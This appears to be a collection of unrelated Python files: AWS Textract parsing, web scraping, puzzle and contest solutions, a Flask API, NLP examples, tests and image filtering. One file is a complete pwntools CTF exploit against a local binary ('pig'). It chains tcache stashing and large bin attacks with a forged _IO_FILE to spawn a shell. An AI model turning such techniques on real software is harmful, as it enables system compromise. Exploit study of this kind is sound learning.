import boto3
import sys
import re
import json
from collections import defaultdict

def get_kv_map(bucket_name, file_name):

    # process using image bytes
    client = boto3.client('textract')
    response = client.analyze_document(
        Document={
            'S3Object': {
                'Bucket': bucket_name,
                'Name': file_name
            }
        }, FeatureTypes=['FORMS'])

    # Get the text blocks
    blocks = response['Blocks']

    # get key and value maps
    key_map = {}
    value_map = {}
    block_map = {}
    for block in blocks:
        block_id = block['Id']
        block_map[block_id] = block
        if block['BlockType'] == "KEY_VALUE_SET":
            if 'KEY' in block['EntityTypes']:
                key_map[block_id] = block
            else:
                value_map[block_id] = block

    return key_map, value_map, block_map

def get_kv_relationship(key_map, value_map, block_map):
    kvs = defaultdict(list)
    for block_id, key_block in key_map.items():
        value_block = find_value_block(key_block, value_map)
        key = get_text(key_block, block_map)
        val = get_text(value_block, block_map)
        kvs[key].append(val)
    return kvs

def find_value_block(key_block, value_map):
    for relationship in key_block['Relationships']:
        if relationship['Type'] == 'VALUE':
            for value_id in relationship['Ids']:
                value_block = value_map[value_id]
    return value_block

def get_text(result, blocks_map):
    text = ''
    if 'Relationships' in result:
        for relationship in result['Relationships']:
            if relationship['Type'] == 'CHILD':
                for child_id in relationship['Ids']:
                    word = blocks_map[child_id]
                    if word['BlockType'] == 'WORD':
                        text += word['Text'] + ' '
                    if word['BlockType'] == 'SELECTION_ELEMENT':
                        if word['SelectionStatus'] == 'SELECTED':
                            text += 'X '

    return text

def print_kvs(kvs):
    for key, value in kvs.items():
        print(key, ":", value)

def search_value(kvs, search_key):
    for key, value in kvs.items():
        if re.search(search_key, key, re.IGNORECASE):
            return value

def extract_text(bucket_name, file_name, search_key):
    key_map, value_map, block_map = get_kv_map(bucket_name, file_name)

    # Get Key Value relationship
    kvs = get_kv_relationship(key_map, value_map, block_map)
    print("\n\n== FOUND KEY : VALUE pairs ===\n")
    print_kvs(kvs)

    # Start searching a key value
    get_value = 'The value is:', search_value(kvs, search_key)
    return kvs, get_value


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
#context.terminal = ['tmux','splitw','-hp',"60"]

#p = process(["./ld.so", "./pwn"],
#            env={"LD_PRELOAD":"./libc.so"})
p = process('./pig')
libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so")

recvuntil = lambda x : p.recvuntil(x)
send = lambda x : p.send(x)
sendline = lambda x : p.sendline(x)

def command(choice):
	recvuntil("Choice: ")
	sendline(str(choice))

def add(size,message):
	command(1)
	p.recvuntil("size: ")
	sendline(str(size))
	p.recvuntil("message: ")
	send(message)

def free(index):
	command(4)
	recvuntil('index: ')
	sendline(str(index))

def edit(index,message):
	command(3)
	recvuntil('index: ')
	sendline(str(index))
	recvuntil("message: ")
	send(message)

def show(index):
	command(2)
	recvuntil('index: ')
	sendline(str(index))

def change(role):
	command(5)
	if (role == 1):
		recvuntil('user:\n')
		sendline("A\x01\x95\xc9\x1c")
	if (role == 2):
		recvuntil('user:\n')
		sendline("B\x01\x87\xc3\x19")
	if (role == 3):
		recvuntil('user:\n')
		sendline("C\x01\xf7\x3c\x32")

def libc_addr():
	p.recvuntil("message is: ")
	libc_base = u64(p.recv(6).ljust(8,b'\x00')) - (0x7f57c0d2abe0-0x7f57c0b3e000)
	success("libc_base: "+hex(libc_base))
	return libc_base
def heap_addr():
	p.recvuntil("message is: ")
	heap_base = u64(p.recv(6).ljust(8,b'\x00')) - (0x55a9c79538b0-0x55a9c7941000)
	success("heap_base: "+hex(heap_base))
	return heap_base

#tcache_stashing unlink prepare
change(2)
for i in range(5):
	add(0x90,"tcache smashing prepare\n" * (0x90//48))		#role 2 4
	free(i)

change(1)
add(0x150,"tcache chunk\n"* (0x150// 48))  #0
for i in range(7):
	add(0x150,"tcache chunk\n"* (0x150// 48))
	free(i+1)

free(0)
change(2)
change(1)
show(0)    #leak libc addr
libc_base = libc_addr()
show(6)    #leak heap addr
heap_base = heap_addr()
free_hook = libc_base + libc.sym['__free_hook']
IO_str_jumps = libc_base + (0x7ffff7d76580-0x7ffff7b8d000)-32
IO_list_all = libc_base + libc.sym['_IO_list_all']
system_addr = libc_base + libc.sym['system']

change(2)
add(0xb0,"tcache stashing prepare\n" * (0xb0//48))   #split 0x160 into 0xc0 and 0xa0   ;   role2 5 ;  first small bin 0xa0

change(1)
add(0x150,"put in small bin\n"*(0x150//48))  #role 1 8
add(0x150,"unsorted chunk\n"* (0x150// 48))  #role1 9
add(0x150,"avoid merge\n"* (0x150// 48))  #role1 10   #avoid merge
free(9)
change(2)
add(0xb0,"tcache stashing prepare\n" * (0xb0//48))   #split 0x160(role 1 9) into 0xc0 and 0xa0   ;   role2 6 ;  second small bin 0xb0
change(1)
add(0x150,"put in small bin\n"*(0x150//48))  #role 1 11

#large bin attack1 -> free_hook-0x8
change(2)
add(0x430,"big unsorted\n"*(0x430//48))  #role 2 7
change(1)
add(0x150,"avoid unlink\n"*(0x150//48))  #role 1 12
change(2)
add(0x440,"large bin\n"*(0x440//48))  #role 2 8  large bin
change(1)
add(0x150,"avoid unlink\n"*(0x150//48))  #role 1 13
change(2)
add(0x450,"large bin\n"*(0x450//48))  #role 2 9  first large bin
change(1)
add(0x150,"avoid unlink\n"*(0x150//48))  #role 1 14

change(2)
free(7)
free(9)
change(1)
add(0x150,"into largebin\n"*(0x150//48))  #role 1 15  role2's chunk9 linked into large bin
change(2)
free(8)
edit(9,(p64(0)+p64(free_hook-0x28))*(0x450//48))      #write free_hook-0x8
change(1)
add(0x150,"into largebin\n"*(0x150//48))  #role 1 16   large bin attack! Now, *(free_hook-0x8) = chunk_addr of role2-8

#large bin attack2 -> io_list_all

add(0x150,"into unsorted\n"*(0x150//48))  #role 1 17
change(3)
add(0x440,"large chunk\n"*(0x440//48)) #role 3 0
change(1)
free(16)
free(17)

change(3)
free(0)

change(2)
edit(9,(p64(0)+p64(IO_list_all-0x20))*(0x450//48))    #write IO_list_all
change(1)
add(0x150,"into largebin\n"*(0x150//48))  #role 1 17   large bin attack! Now, *(io_list_all) = chunk_addr of role3-0(role3-0 ==role2-8)

#tcache stashing unlink attack
fd_heap = heap_base + (0x00005608c5be4280-0x5608c5bd2000)
edit(9,(p64(fd_heap)+p64(free_hook-0x20))*(0x150//48))    #role 1 9 overlap role 2 6
change(3)
gift_addr = heap_base + (0x55d09bd30d90-0x55d09bd1d000)
payload = p64(0)*3 + p64(gift_addr) + p64(0)*2*20

add(0x440,payload) #role 3 1  #get chunk from large bin, this chunk is the value of the addr of io_list_all, then put fake_IO to fake_io_list
add(0x90,"tcache stashing\n"*(0x90//48)) #role 3 2
add(0xa0,"before gift\n"*(0x90//48)) #role 3 3
add(0xa0,"gift\n"*(0x90//48)) #role 3 3

bin_sh_addr = heap_base + (0x56048b577e70-0x56048b564000)
fake_IO_FILE = 2*p64(0) #fp->flag=0
fake_IO_FILE += p64(1)                    #change _IO_write_base = 1
fake_IO_FILE += p64(0xffffffffffff)        #change _IO_write_ptr = 0xffffffffffff
#fp->_IO_write_ptr - fp->_IO_write_base >= _IO_buf_end - _IO_buf_base
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(bin_sh_addr)                #v4 _IO_buf_base
fake_IO_FILE += p64(bin_sh_addr+0x18)                #v5 _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(0)                    #change _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(IO_str_jumps)        #change vtable
payload = fake_IO_FILE + b'/bin/sh\x00' + 2*p64(system_addr)

send(payload + b'\n')
command(5)

sendline("\n")

p.interactive()


from selenium import webdriver
from selenium.webdriver.common.by import By

driver = webdriver.Edge(
    '/Users/Molly/Desktop/Code/Python/edgedriver_mac64/msedgedriver.exe')
driver.get('https://kir4che.github.io')

# 搜尋文章
element = driver.find_element('id', 'search-input')
element.click()
search = driver.find_element('id', 'actual-search-input')
search.send_keys('Python')  # 搜尋有關 Python 的文章

# 要使用 By 請引入 from selenium.webdriver.common.by import By
element = driver.find_elements(By.CLASS_NAME, 'result-title')
for ele in element:
    print(ele.text)

driver.quit()


import copy
import sys
from collections import deque

def group(x, y, num):
    queue.append([x, y])
    size, rainbow = 0, 0
    while queue:
        x, y = queue.popleft()
        for i in range(4):
            tx = x + dx[i]
            ty = y + dy[i]
            if 0 <= tx < N and 0 <= ty < N:
                if board[tx][ty] == 0 and not visited[tx][ty]:
                    size += 1
                    rainbow += 1
                    visited[tx][ty] = 1
                    queue.append([tx, ty])
                elif board[tx][ty] == num and not visited[tx][ty]:
                    size += 1
                    visited[tx][ty] = 1
                    queue.append([tx, ty])

    reset_rainbow()

    return size, rainbow

def destroy(sx, sy):
    queue.append([sx, sy])
    num = board[sx][sy]
    visited = [[0 for _ in range(N)] for _ in range(N)]
    while queue:
        x, y = queue.popleft()
        for i in range(4):
            tx = x + dx[i]
            ty = y + dy[i]
            if 0 <= tx < N and 0 <= ty < N:
                if board[tx][ty] == 0 and not visited[tx][ty]:
                    visited[tx][ty] = 1
                    board[tx][ty] = -2
                    queue.append([tx, ty])
                elif board[tx][ty] == num and not visited[tx][ty]:
                    visited[tx][ty] = 1
                    board[tx][ty] = -2
                    queue.append([tx, ty])

def gravity():
    for x in range(N-2, -1, -1):
        for y in range(N-1, -1, -1):
            if board[x][y] >= 0:
                queue.append([x, y])
                while queue:
                    qx, qy = queue.popleft()
                    tx, ty = qx+1, qy
                    if 0 <= tx < N:
                        if board[tx][ty] == -2:
                            board[tx][ty] = board[qx][qy]
                            board[qx][qy] = -2
                            queue.append([tx, y])

def rotate():
    rotate_board = copy.deepcopy(board)
    for x in range(N):
        for y in range(N):
            board[x][y] = rotate_board[y][N-x-1]

def reset_rainbow():
    for x in range(N):
        for y in range(N):
            if visited[x][y] and board[x][y] == 0:
                visited[x][y] = 0

def block():
    global answer

    max_size, max_rainbow = 0, 0
    sx, sy = 0, 0
    for x in range(N):
        for y in range(N):
            if board[x][y] != -1 and board[x][y] != 0:
                if not visited[x][y] and board[x][y] > 0:
                    size, rainbow = group(x, y, board[x][y])
                    if size > max_size:
                        max_size = size
                        max_rainbow = rainbow
                        sx, sy = x, y
                    elif size == max_size and rainbow > max_rainbow:
                        max_rainbow = rainbow
                        sx, sy = x, y
                    elif size == max_size and rainbow == max_rainbow:
                        sx, sy = x, y

    if max_size < 2:
        return
    answer += (max_size ** 2)
    destroy(sx, sy)
    # print('___')
    # for i in range(N):
    #     print(board[i])
    gravity()
    # print('___')
    # for i in range(N):
    #     print(board[i])
    rotate()
    # print('___')
    # for i in range(N):
    #     print(board[i])
    gravity()
    # print('___')
    # for i in range(N):
    #     print(board[i])

# input
input = sys.stdin.readline

N, M = map(int, input().split())

board = []
for _ in range(N):
    board.append(list(map(int, input().split())))

# main
dx = [0, 0, -1, 1]
dy = [1, -1, 0, 0]

queue = deque()
answer = 0
tmp = -1
while answer != tmp:
    tmp = answer
    visited = [[0 for _ in range(N)] for _ in range(N)]
    block()

print(answer)


from flask import Flask, request, jsonify, Blueprint
import psycopg2
import queries  # this is the SQL query
import models
from datetime import datetime, timezone
import os

# Initialize the app instance here
routes = Blueprint("routes", __name__)
db_uri = os.getenv("DB_URI")
connection = psycopg2.connect(db_uri)

@routes.route("/stat", methods=["POST"])
def update_stat():
    data = request.get_json()
    newdata = models.UserStatRequest(
        email=data["email"],
        login_time=data["login_time"],
        time_spent=data["time_spent"],
        clear_count=data["clear_count"],
    )
    with connection:
        try:
            with connection.cursor() as cursor:
                cursor.execute(
                    queries.INSERT_SESSION_DATA_QUERY,
                    (
                        newdata.email,
                        newdata.login_time,
                        newdata.time_spent,
                        newdata.clear_count,
                    ),
                )
                return "successful creation", 201

        except Exception as e:
            print(e)
            return "An error occured", 500

    # received data from the client

# gets the best attempt data
@routes.route("/stat", methods=["GET"])
def user_stat():
    data = request.get_json()
    email = data["email"]
    print("email:  " + email)
    with connection:
        try:
            with connection.cursor() as cursor:
                # print(queries.GET_USER_STAT_QUERY)
                cursor.execute(queries.INSERT_SESSION_DATA_QUERY, (email,))
                user_stat = cursor.fetchone()
                print(user_stat)

                if user_stat:
                    response_data = models.UserStatResponse(
                        email=user_stat[0],
                        max_cleared=user_stat[1],
                        time_occured=user_stat[2],
                    )
                    return jsonify(response_data.model_dump()), 200
                else:
                    return "User not found", 404

        except Exception as e:
            print(e)
            return "An error occurred", 500

#get leaderboard
@routes.route('/leaderboard', methods=["GET"])
def get_leaderboard():
    with connection:
        try:
            with connection.cursor() as cursor:
                cursor.execute(queries.GET_LEADERBOARD_QUERY)
                leaderboard_data = cursor.fetchall()
                # print(leaderboard_data)

                if leaderboard_data:
                    response_data = []
                    for item in leaderboard_data:
                        each_data = models.LeaderboardResponse(
                            email=item[0],
                            clear_count=item[1],
                            login_time=item[2],
                        )
                        response_data.append(each_data.model_dump())
                    print(response_data)
                    return jsonify(response_data), 200

        except Exception as e:
            print(e)
            return "An error occured", 500


## File used to regrade assignments. Script is ran manually.

import api.grading_tool.worker as w
import api.grading_tool.database as db
import git

ASSIGNMENT_ID=9046909
REPOS_DIR = "/u/b351/student-repos"
GRADING_TOOLS_DIR = "/u/b351/class-docs/sp19/admin/sp19/Grading Tools"

students = db.getStudents()

for student in students:
    submission=db.getSubmission(student[0], ASSIGNMENT_ID)
    if not submission: continue
    initial_commit = submission[6]
    if not initial_commit: continue

    if student[2] == db.TOOL_BASED:
        include_subjective = False
    else:
        include_subjective = True

    user_dir = "%s/%s" % (REPOS_DIR, student[1])
    repo_dir = "%s/submission" % user_dir
    results_dir = "%s/tool-results" % user_dir
    try:
        repo = git.Repo(repo_dir, search_parent_directories=True)
        repo.git.checkout(initial_commit)
        repo.git.clean('-fxd')
    except:
        continue

    github_link = f'https://github.iu.edu/csci-b351-sp19/{student[1]}-submission/tree/{initial_commit}/a4'
    w.runGrade("a4", f'{repo_dir}/a4', f'{results_dir}/a4-initial.html', include_subjective, github_link, GRADING_TOOLS_DIR)

    print(f'student {student[1]} done!')


# coding: utf-8
# Standard Python libraries
from pathlib import Path
import json
from typing import Optional, Union

# https://docs.python-requests.org/
import requests

# Local imports
from ..tools import aslist

@property
def related_models(self) -> dict:
    """dict : The list of all related models by interactions"""
    try:
        return self.__related_models
    except:
        self.load_related_models()
        return self.__related_models

def load_related_models(self,
                        local: Optional[bool] = None,
                        remote: Optional[bool] = None,
                        verbose: Optional[bool] = False):
    """
    Loads the related-interactions.json file from either the local location
    or the NIST Interatomic Potentials Repository website.

    Parameters
    ----------
    local : bool, optional
        Indicates if the local location is to be searched.  Default value
        matches the value set when the database was initialized.
    remote : bool, optional
        Indicates if the remote location is to be searched.  Default value
        matches the value set when the database was initialized.
    verbose : bool, optional
        If True, informative print statements will be generated.
    """
    # Handle local and remote
    if local is None:
        local = self.local
    if remote is None:
        remote = self.remote

    if local is True:
        localfile = Path(self.local_database.host, 'related-interactions.json')
        if localfile.is_file():
            with open(localfile) as f:
                self.__related_models = json.load(f)
            if verbose:
                print('related models loaded from the local location')
            return

    if remote is True:
        url = 'https://www.ctcms.nist.gov/potentials/site/related-interactions.json'
        r = requests.get(url)
        r.raise_for_status()
        self.__related_models = json.loads(r.text)
        if verbose:
            print('related models downloaded from the web')
        return

    raise ValueError('Failed to find related-interactions.json')

def get_related_models(self, potid: str) -> dict:
    """
    Finds all known related interaction models for a given interatomic potential.

    Parameters
    ----------
    potid : str
        The id of a potential entry to find all related models for.

    Returns
    -------
    dict
        The list of all matching related models by interactions
    """
    related_models = self.related_models

    related = {}

    # Loop over all interactions
    for interaction in related_models:

        # Loop over all sets of related models for the interaction
        for potidset in related_models[interaction]:

            # If potid in the set, list all related pot ids for that interaction
            if potid in potidset:
                if interaction not in related:
                    related[interaction] = []
                    for potid2 in potidset:
                        if potid != potid2:
                            related[interaction].append(potid2)

                else:
                    raise ValueError(f'{potid} in multiple sets for {interaction}')

    if len(related) == 0:
        raise ValueError(f'{potid} not found in related models')

    return related

def save_related_models(self,
                        local: bool = True,
                        altpath: Optional[Path] = None):
    """
    Saves the related-interactions.json file.

    Parameters
    ----------
    local : bool, optional
        Indicates if the file is to be saved to the local location.  Default
        value is True.
    altpath : path-like object, optional
        An alternate directory to save the file to.  If given and local=True,
        then two copies will be saved: one in the local location and one in
        altpath.
    """
    # Save to local location
    if local is True:
        filename = Path(self.local_database.host, 'related-interactions.json')
        with open(filename, 'w') as f:
            json.dump(self.related_models, fp=f)

    # Save to altpath
    if altpath is not None:

        altpath = Path(altpath)
        if not altpath.is_dir():
            altpath.mkdir(parents=True)

        filename = Path(altpath, 'related-interactions.json')
        with open(filename, 'w') as f:
            json.dump(self.related_models, fp=f)

def add_related_models(self,
                       potid: str,
                       interactions: Union[str, list],
                       related_ids: Union[str, list, None] = None,
                       verbose: bool = False):
    """
    Adds an interatomic potential to the related-interactions.json.  Note
    that this only changes values in the loaded related_models object and any
    changes will still need to be saved using save_related_models().

    Parameters
    ----------
    potid : str
        The id of the potential entry being added to the related models.
    interactions : str or list
        The model interaction(s) defined by the potential.  Each value
        should be a single element symbol for elemental interactions, or a
        hyphen-separated pair of element symbols for binary interactions.
    related_ids : str, None or list
        This specifies a related potential entry by id for each interaction.
        Giving a value of None for an interaction indicates that the potential
        identified by potid has no known related models for that interaction.
        If not given, then no related models will be set for all
        interactions.
    verbose : bool, optional
        If True, informative print statements will be used.  Default value is
        False.
    """

    # Check values of interactions and related_ids
    interactions = aslist(interactions)
    if related_ids is None:
        related_ids = [None for i in range(len(interactions))]
    else:
        related_ids = aslist(related_ids)
        if len(related_ids) != len(interactions):
            raise ValueError('Different number of related_ids and interactions given')

    # Get/load the related_models dict
    related_models = self.related_models

    # Loop over all interactions
    for interaction, relid in zip(interactions, related_ids):

        # Check and sort binary interactions
        if '-' in interaction:
            terms = interaction.split('-')
            assert len(terms) == 2
            interaction = '-'.join(sorted(terms))

        # Check if interaction exists
        if interaction not in related_models:

            # Add set to new interaction
            if relid is None:
                related_models[interaction] = [[potid]]
            else:
                related_models[interaction] = [[potid, relid]]
            if verbose:
                print(f'Set added to new interaction {interaction}')

        else:

            # Pull out models for the interaction
            int_models = related_models[interaction]

            # Search for ids in the sets
            potsetindex = None
            relsetindex = None

            for i, potidset in enumerate(int_models):

                # Search for set containing potid
                if potid in potidset:
                    if potsetindex is None:
                        potsetindex = i
                    else:
                        raise ValueError(f'{potid} found in multiple sets for {interaction}')

                # Search for set containing relid
                if relid in potidset:
                    if relsetindex is None:
                        relsetindex = i
                    else:
                        raise ValueError(f'{relid} found in multiple sets for {interaction}')

            # Add new set
            if potsetindex is None and relsetindex is None:
                if relid is None:
                    int_models.append([potid])
                else:
                    int_models.append([potid, relid])
                if verbose:
                    print(f'New set added to {interaction}')

            # Add potid to an existing set
            elif potsetindex is None:
                int_models[relsetindex].append(potid)
                if verbose:
                    print(f'potid added to existing set for {interaction}')

            # Add relid to an existing set
            elif relsetindex is None:
                if relid is not None:
                    int_models[potsetindex].append(relid)
                    if verbose:
                        print(f'related id added to existing set containing potid for {interaction}')
                else:
                    if verbose:
                        print(f'potid already in set for {interaction}')

            # Join sets if indices are different
            elif potsetindex != relsetindex:
                if potsetindex > relsetindex:
                    potset = int_models.pop(potsetindex)
                    relset = int_models.pop(relsetindex)
                else:
                    relset = int_models.pop(relsetindex)
                    potset = int_models.pop(potsetindex)
                int_models.append(potset + relset)
                if verbose:
                    print(f'existing sets now joined for {interaction}')
            else:

                if verbose:
                    print(f'potid and related id already in the same set for {interaction}')

def sort_related_models(self):
    """
    Sorts the related model dictionary by interactions and the contained sets
    by potential entry ids.
    """
    related_models = self.related_models

    sorted_related_models = {}

    # Iterate over sorted interactions
    for interaction in sorted(related_models.keys()):
        sets = related_models[interaction]

        # Sort each set
        for i in range(len(sets)):
            sets[i] = sorted(sets[i])

        # Sort the sets by the first pot id in each
        def sortkey(l):
            return l[0]
        sets = sorted(sets, key=sortkey)

        sorted_related_models[interaction] = sets

    # Replace related_models with the sorted version
    self.__related_models = sorted_related_models


import nltk

def splitter(title):
    import re

    l = len(title) + 4
    l += len(re.findall("[ㄱ-힣]", title))
    print()
    print("-" * l)
    print(" ", title, " ")
    print("-" * l)

# 문장 토큰화
splitter("문장 토큰화")
from nltk import sent_tokenize

text_sample = "natural Language Processing, or NLP, is the process of extracting the meaning, or intent, behind human language. In the field of Converstational artificial intelligence (AI), NLP allows machines and applications to understand the intent of human language inputs, and then generate appropriate response, resulting in a natural converstation flow."
tokenized_sentences = sent_tokenize(text_sample)
print(tokenized_sentences)

# 단어 토큰화
splitter("단어 토큰화")
from nltk import word_tokenize

sentence = "This book is for deep learning learners"
words = word_tokenize(sentence)
print(words)

# 아포스트로피가 포함된 문장에서 단어 토큰화
splitter("아포스트로피가 포함된 문장에서 단어 토큰화")
from nltk.tokenize import WordPunctTokenizer

sentence = "it`s nothing that you don`t already know except most people aren`t aware of how their inner world works"
words = WordPunctTokenizer().tokenize(sentence)
print(words)

# 한글 토큰화 예제
import csv
from konlpy.tag import Okt
from gensim.models import word2vec

# 다운로드 필요한 csv 파일
f = open(r"./data2/ratings_train.txt", "r", encoding="utf-8")
rdr = csv.reader(f, delimiter="\t")
rdw = list(rdr)
# 임시로 데이터 개수 줄임
rdw = rdw[:20]
f.close()

# 한글 형태소 분석기 호출
splitter("한글 형태소 분석기 호출")
twitter = Okt()
result = list()
for line in rdw:
    malist = twitter.pos(line[1], norm=True, stem=True)
    r = list()
    for word in malist:
        if not word[1] in ["Josa", "Emoi", "Punctuation"]:
            r.append(word[0])
    rl = (" ".join(r)).strip()
    result.append(rl)
    print(rl)

# 형태소 저장
with open("./data2/NaverMovie.nlp", "w", encoding="utf-8") as fp:
    fp.write("\n".join(result))

# Word2Vec 모델 생성
mData = word2vec.LineSentence("./data2/NaverMovie.nlp")
mModel = word2vec.Word2Vec(
    mData,
    vector_size=200,
    window=10,
    hs=1,
    min_count=2,
    sg=1,
)
mModel.save("navberMove.model")

# 불용어 제거

# 불용어 제거
splitter("불용어 제거")
from nltk.corpus import stopwords

nltk.download("stopwords")
nltk.download("punkt")
from nltk.tokenize import word_tokenize

sample_text = "One of the first things that we ask ourselves is what are the pors and cons of any task we perform"
text_tokens = word_tokenize(sample_text)

tokens_without_sw = [
    word for word in text_tokens if not word in stopwords.words("english")
]
print("불용어 제거 전:", text_tokens)
print("불용어 제거 후:", tokens_without_sw)

# 어간 추출

# 포터 알고리즘
splitter("포터 알고리즘")
from nltk.stem import PorterStemmer

stemmer = PorterStemmer()

print(stemmer.stem("obesses"), stemmer.stem("obssesed"))
print(stemmer.stem("standardizes"), stemmer.stem("standardization"))
print(stemmer.stem("national"), stemmer.stem("nation"))
print(stemmer.stem("absentness"), stemmer.stem("absently"))
print(stemmer.stem("tribalical"), stemmer.stem("tribalicalized"))

# 랭커스터 알고리즘
splitter("랭커스터 알고리즘")
from nltk.stem import LancasterStemmer

stemmer = LancasterStemmer()

print(stemmer.stem("obesses"), stemmer.stem("obssesed"))
print(stemmer.stem("standardizes"), stemmer.stem("standardization"))
print(stemmer.stem("national"), stemmer.stem("nation"))
print(stemmer.stem("absentness"), stemmer.stem("absently"))
print(stemmer.stem("tribalical"), stemmer.stem("tribalicalized"))

# 표제어 추출

# 표제어 추출
splitter("표제어 추출")
import nltk
from nltk.stem import WordNetLemmatizer

nltk.download("wordnet")
lemma = WordNetLemmatizer()

print(lemma.lemmatize("obesses"), lemma.lemmatize("obssesed"))
print(lemma.lemmatize("standardizes"), lemma.lemmatize("standardization"))
print(lemma.lemmatize("national"), lemma.lemmatize("nation"))
print(lemma.lemmatize("absentness"), lemma.lemmatize("absently"))
print(lemma.lemmatize("tribalical"), lemma.lemmatize("tribalicalized"))

# 품사 정보가 포함된 표제어 추출
splitter("품사 정보가 포함된 표제어 추출")
print(lemma.lemmatize("obesses", "v"), lemma.lemmatize("obssesed", "a"))
print(lemma.lemmatize("standardizes", "v"), lemma.lemmatize("standardization", "n"))
print(lemma.lemmatize("national", "a"), lemma.lemmatize("nation", "n"))
print(lemma.lemmatize("absentness", "n"), lemma.lemmatize("absently", "r"))
print(lemma.lemmatize("tribalical", "a"), lemma.lemmatize("tribalicalized", "v"))


# D - Stamp
# https://atcoder.jp/contests/abc185/tasks/abc185_d
from math import ceil
N, M = map(int, input().split())
# O(Mlog(M))
A = sorted([0] + list(map(int, input().split())))

k = 10**10
if N == M:
    print(0)
elif M == 0:
    print(1)
else:
    for i in range(1, M + 1):
        diff = A[i] - A[i - 1] - 1
        if diff > 0:
            k = min(k, diff)

    ans = 0
    for i in range(1, M + 1):
        ans += ceil((A[i] - A[i - 1] - 1) / k)
    ans += ceil((N - A[M]) / k)
    print(ans)


import pytest
from scipy.stats import uniform
import numpy as np
import matplotlib.pyplot as plt
import pint

from SOSAT import StressState
from SOSAT.constraints import StressMeasurement, FaultConstraint

units = pint.UnitRegistry()

# depth in feet
depth = 8520.0 * units('ft')
# density in kg/m^3
avg_overburden_density = 2601.27615 * units('kg/m^3')
# pore pressure gradient in MPa/km
pore_pressure_grad = 9.72686 * units('MPa/km')

pore_pressure = pore_pressure_grad * depth

ss = StressState(depth=depth.to('ft').magnitude,
                 avg_overburden_density=avg_overburden_density
                               .to('lb/ft^3').magnitude,
                 pore_pressure=pore_pressure.to('psi').magnitude,
                 depth_unit='ft',
                 density_unit='lb/ft^3',
                 pressure_unit='psi',
                 stress_unit='psi')

meas_shmin_ul = (0.62 * units('psi/ft')
                        * depth) \
                        .to('psi').magnitude
meas_shmin_ll = meas_shmin_ul - 500.0
meas_shmin_dist = uniform(meas_shmin_ll,
                          scale=(meas_shmin_ul
                                 - meas_shmin_ll))
ss.add_constraint(
         StressMeasurement(meas_shmin_dist))

# ss.add_constraint(FaultConstraint())
fig = ss.plot_posterior()
plt.savefig("stress_measurement_constraint_posterior.png")

shmin_ll, shmin_ul = ss.get_shmin_confidence_intervals(0.99)
print("smin_ll= ", shmin_ll)
print("smin_ul= ", shmin_ul)


# coding=utf-8
#
#    Licensed under the Apache License, Version 2.0 (the "License"); you may
#    not use this file except in compliance with the License. You may obtain
#    a copy of the License at
#
#         http://www.apache.org/licenses/LICENSE-2.0
#
#    Unless required by applicable law or agreed to in writing, software
#    distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
#    WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
#    License for the specific language governing permissions and limitations
#    under the License.

from cloudify import exceptions

from docker_plugin.tests.tests.TestCaseBase import TestCaseBase

_WRONG_PATH = 'wrong path'
_WRONG_CMD = 'wrong command'
_DIR = 'wrong_directory'
_MNT_DIR = 'wrong_mnt'
_IMG_SRC = 'image_source'

class TestExceptions(TestCaseBase):
    def test_wrong_path_to_image(self):
        def assertion(op, message):
            try:
                self._execute([op], image_build={'path': _WRONG_PATH})
                self.fail()
            except exceptions.NonRecoverableError as e:
                self.assertIn(message, e.message)
        assertion('create', 'No such file')
        assertion('configure', 'No image specified')
        assertion('run', 'No container specified')

    def test_wrong_command(self):
        try:
            self._execute(['create', 'configure', 'run'],
                          container_config={'command': _WRONG_CMD})
            self.fail()
        except exceptions.NonRecoverableError as e:
            self.assertIn('"wrong": executable file not found', e.message)

    def test_wrong_volumes(self):
        try:
            self._execute(['create', 'configure', 'run'],
                          container_start={
                              'binds': {_DIR: {'bind': _MNT_DIR}}
            })
            self.fail()
        except exceptions.NonRecoverableError as e:
            self.assertIn('cannot bind mount volume', e.message)

    def test_no_image_path(self):
        try:
            self._execute(['create'],
                          image_build={'stub': 'prop'})
            self.fail()
        except exceptions.NonRecoverableError as e:
            self.assertIn('Either path or url', e.message)

    def test_two_image_sources(self):
        try:
            self._execute(['create'],
                          image_import={'src': _IMG_SRC})
            self.fail()
        except exceptions.NonRecoverableError as e:
            self.assertIn('There can only be one image source', e.message)


import numpy as np
import cv2
import math

def goussian (dim,sigma):

    r = dim//2
    #print(r)

    gfilter = np.zeros((dim,dim))
    for i in range (-r,r+1):
        for j in range (-r,r+1):
            p = -(i*i + j*j)/(sigma*sigma)
            #print(p)
            c=1/(2*math.pi*sigma*sigma)
            p= np.exp(p)
            gfilter[i+r,j+r] = c*p
    gfilter = gfilter/np.sum(gfilter)
    return gfilter

kernel=goussian(25,5)
print(kernel)

img = cv2.imread('lena.jpg',cv2.IMREAD_GRAYSCALE)

def conv(img,kernel):

    padding_y = (kernel.shape[0] - 1)//2 # 1
    padding_x = (kernel.shape[1] - 1)//2 # 2

    image_bordered = cv2.copyMakeBorder(src=img, top=padding_y,bottom=padding_y,left=padding_x,right=padding_x,borderType= cv2.BORDER_CONSTANT)
    out=np.zeros((img.shape[0],img.shape[1]))
    #out = img.copy()
    # cv2.imshow('bordered image',image_bordered)
    # cv2.waitKey(0)
    print(img.shape)
    print(image_bordered.shape)

    for y in range(padding_y,image_bordered.shape[0]-padding_y):
        for x in range(padding_x,image_bordered.shape[1]-padding_x):
            # mat = image_bordered[x:x+kernel2.shape[0],y:y+kernel2.shape[1]]
            # out [x,y]=np.sum(mat*kernel2)/255
            temp = 0
            for j in range(-padding_y, padding_y+1):
                for i in range(-padding_x, padding_x+1):
                    temp += kernel[j+padding_y][i+padding_x] * image_bordered[y-j][x-i]
            out[y-padding_y,x-padding_x] = temp
    print(out.shape)
    return out

out = conv(img,kernel)
out = cv2.normalize(out, None, 0, 1, cv2.NORM_MINMAX)
cv2.imshow('input image',img)
cv2.imshow('result image',out)
cv2.waitKey(0)
cv2.destroyAllWindows()


from django.urls import path
from . import views

urlpatterns = [
    path('', views.index, name="index"),
    path('help/', views.help, name="help"),
    path('add/', views.add, name="add"),
    path('listhast/', views.listhast, name="listhast"),
    path('listmension/', views.listmension, name="listmension"),
    path('listfeelings/', views.listfeelings, name="listfeelings"),
